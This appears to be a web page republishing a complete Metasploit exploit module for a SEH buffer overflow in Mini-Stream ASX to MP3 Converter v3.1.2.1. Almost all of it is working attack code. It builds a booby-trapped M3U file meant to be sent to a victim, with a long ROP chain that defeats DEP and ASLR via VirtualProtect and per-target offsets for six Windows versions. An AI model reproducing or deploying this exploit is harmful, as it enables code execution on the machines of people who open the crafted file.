扫码分享
验证：
体验盒子
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 | # Exploit Title: ASX to MP3 Converter v3.1.2.1 SEH Exploit (Multiple OS, DEP and ASLR Bypass) # Date:July 13, 2010 # Author:Node # Software Link: http://www.mini-stream.net/downloads/ASXtoMP3Converter.exe # Version: Mini-Stream Software ASX to MP3 Converter v3.1.2.1.2010.03.30 Evaluation # Tested on: Windows Vista Ultimate SP1 Eng #Windows Vista Ultimate SP2 Eng #Windows XP Pro SP3 Eng #Windows XP Pro SP2 Swe #Windows XP Pro SP3 Swe #Windows XP Home SP3 Swe # CVE : # Notes: This is a proof of concept that it is possible to write ROP exploits #that are portable to different operating systems. This exploit is #using the following variables: # #1. "Offset":The offset to the SEH overwrite #2. "Offset2": The offset before the ROP code starts in the buffer #3. "K32Offset": The offset to the kernel32 pointer on the stack #4. "VPOffset":The offset to VirtualProtect() from the grabbed #kernel32 address #5. "ASLR":Activates or deactivates the ASLR bypassing ROP code # #The K32Offset and VPOffset are negged hex-numbers, to evade the #null-byte problem. In the first target, K32Offset is "0xfffebcac" #which gets converted in the ROP code to 0x00014354 (82772), which is #how much the saved ESP address needs to be subtracted, to point to #the kernel32 address. VPOffset is how much the Kernel32 address #needs to be subtracted, to point to the VirtualProtect() function. #If "ASLR" is false, "VPOffset" will be treated as the direct, #non-negged address to VirtualProtect() in Kernel32.dll. # Code: require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Mini-Stream Software ASX to MP3 Converter v3.1.2.1 SEH Buffer Overflow.', 'Description'=> %q{ This module exploits a SEH-based buffer overflow in ASX to MP3 Converter v.3.1.2.1. An attacker must send the file to victim, and the victim must open the specially crafted M3U file. This exploit is written with ROP gadgets from MSA2Mfilter03.dll and bypasses DEP on all systems including ASLR on Vista. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Node' ], 'Version'=> '$Revision: 99999 $', 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP1 Eng x86', {'Offset' => 43511, 'Offset2' =>16339, 'K32Offset' => 0xfffebcac, 'VPOffset' => 0xfffe4e9c, 'ASLR' => true } ], [ 'ASX to MP3 Converter v3.1.2.1 on Windows Vista Ultimate SP2 Eng x86', {'Offset' => 43511, 'Offset2' =>16339, 'K32Offset' => 0xfffebcac, 'VPOffset' => 0xfffe5bf0, 'ASLR' => true } ], [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Eng x86', {'Offset' => 43484, 'Offset2' =>16312, 'VPOffset' => 0x7c801ad4, 'ASLR' => false } ], [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP2 Swe x86', {'Offset' => 43476, 'Offset2' =>16304, 'VPOffset' => 0x7c801ad0, 'ASLR' => false } ], [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Pro SP3 Swe x86', {'Offset' => 43491, 'Offset2' =>16319, 'VPOffset' => 0x7c801ad4, 'ASLR' => false } ], [ 'ASX to MP3 Converter v3.1.2.1 on Windows XP Home SP3 Swe x86', {'Offset' => 43476, 'Offset2' =>16304, 'VPOffset' => 0x7c801ad4, 'ASLR' => false } ] ], 'Privileged' => false, 'DisclosureDate' => '', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','asx2mp3.m3u']), ], self.class) end def exploit rop = [0x1002F7B7].pack('V')# PUSH ESP # AND AL,0C # NEG EDX # NEG EAX # SBB EDX,0 # POP EBX # RETN 10 rop << [0x10023315].pack('V') # ADD ESP,20 # RETN rop << "1111" # VirtualProtect() placeholder rop << "2222" #return address placeholder rop << "3333" #lpAddress placeholder rop << "4444" #dwsize placeholder rop << "5555" #flNewProtect placeholder rop << [0x10066005].pack('V') # lpflOldProtect writable address rop << "A" * 8 rop << "A" * 16 # because of RETN 10 rop << [0x1002991C].pack('V') # XOR EDX,EDX # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << "A" * 16 if target['ASLR'] == true rop << [0x1002A649].pack('V')# POP EAX # RETN rop << [target['K32Offset']].pack('V') rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x100130C4].pack('V')# MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x1002C86A].pack('V')# SUB EAX,ECX # RETN rop << [0x10027F59].pack('V')# MOV EAX,DWORD PTR DS:[EAX] # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 end rop << [0x100115AA].pack('V')# POP EBX # RETN rop << [0xffffffff].pack('V') rop << [0x10014548].pack('V')# XOR EAX,EAX # RETN rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x1002D327].pack('V')# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002A649].pack('V')# POP EAX # RETN rop << "A" * 16 rop << [target['VPOffset']].pack('V') if target['ASLR'] == true rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x100130C4].pack('V')# MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP #POP EBX # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x10027F59].pack('V')# MOV EAX,DWORD PTR DS:[EAX] # RETN rop << [0x1002C86A].pack('V')# SUB EAX,ECX # RETN end rop << [0x10019AA7].pack('V')# MOV DWORD PTR DS:[EDX],EAX # POP EDI # XOR EAX,EAX # POP EBP # ADD ESP,40 # RETN rop << "A" * 8 rop << "A" * 64 rop << [0x1002A649].pack('V')# POP EAX # RETN rop << [0xffff95c8].pack('V') # negged shellcode offset rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x100130C4].pack('V')# MOV ECX,DWORD PTR DS:[EAX] # ADD BYTE PTR DS:[EAX],AL # POP EBP # POP EBX # RETN rop << "A" * 8 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << [0x1001451E].pack('V')# ADD EAX,ECX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x100115AA].pack('V')# POP EBX # RETN rop << [0xffffffff].pack('V') rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x1002D327].pack('V')# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << "A" * 16 rop << [0x10027F59].pack('V')# MOV EAX,DWORD PTR DS:[EAX] # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x100115AA].pack('V')# POP EBX # RETN rop << [0xffffffff].pack('V') rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x1002D327].pack('V')# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002A649].pack('V')# POP EAX # RETN rop << "A" * 16 rop << [0xfffffc18].pack('V') # 0x3e8(1000].pack('V') negged rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x100115AA].pack('V')# POP EBX # RETN rop << [0xffffffff].pack('V') rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x1002D327].pack('V')# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002A649].pack('V')# POP EAX # RETN rop << "A" * 16 rop << [0xffffffc0].pack('V') # 0x40 negged rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x100163CA].pack('V')# MOV DWORD PTR DS:[EDX+4],EAX # XOR EAX,EAX # ADD ESP,8 # RETN rop << "A" * 8 rop << [0x100115AA].pack('V')# POP EBX # RETN rop << [0xffffffff].pack('V') rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x100192DC].pack('V')# ADD EAX,4 # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x10016C87].pack('V')# INC EAX # RETN rop << [0x1005B5DB].pack('V') # NEG EAX # RETN rop << [0x1002D327].pack('V')# ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN rop << [0x10029F3E].pack('V') # ADD EDX,EBX # POP EBX # RETN 10 rop << "A" * 4 rop << [0x1002FA6A].pack('V') # MOV EAX,EDX # RETN rop << "A" * 16 rop << [0x1002FE81].pack('V')# XCHG EAX,ESP # RETN junk = rand_text_alpha_upper(target['Offset2']) #needed because of ADD ESP,4404 # RETN junktoseh = rand_text_alpha_upper(target['Offset'] - junk.length - rop.length) seh = [0x100177EA].pack('V') #ADD ESP,4404 # RETN nops = "\x90" * 24 shellspace = rand_text_alpha_upper(1000 - payload.encoded.length) m3ufile = junk + rop + junktoseh + seh + nops + payload.encoded + shellspace print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(m3ufile) end end |
体验盒子
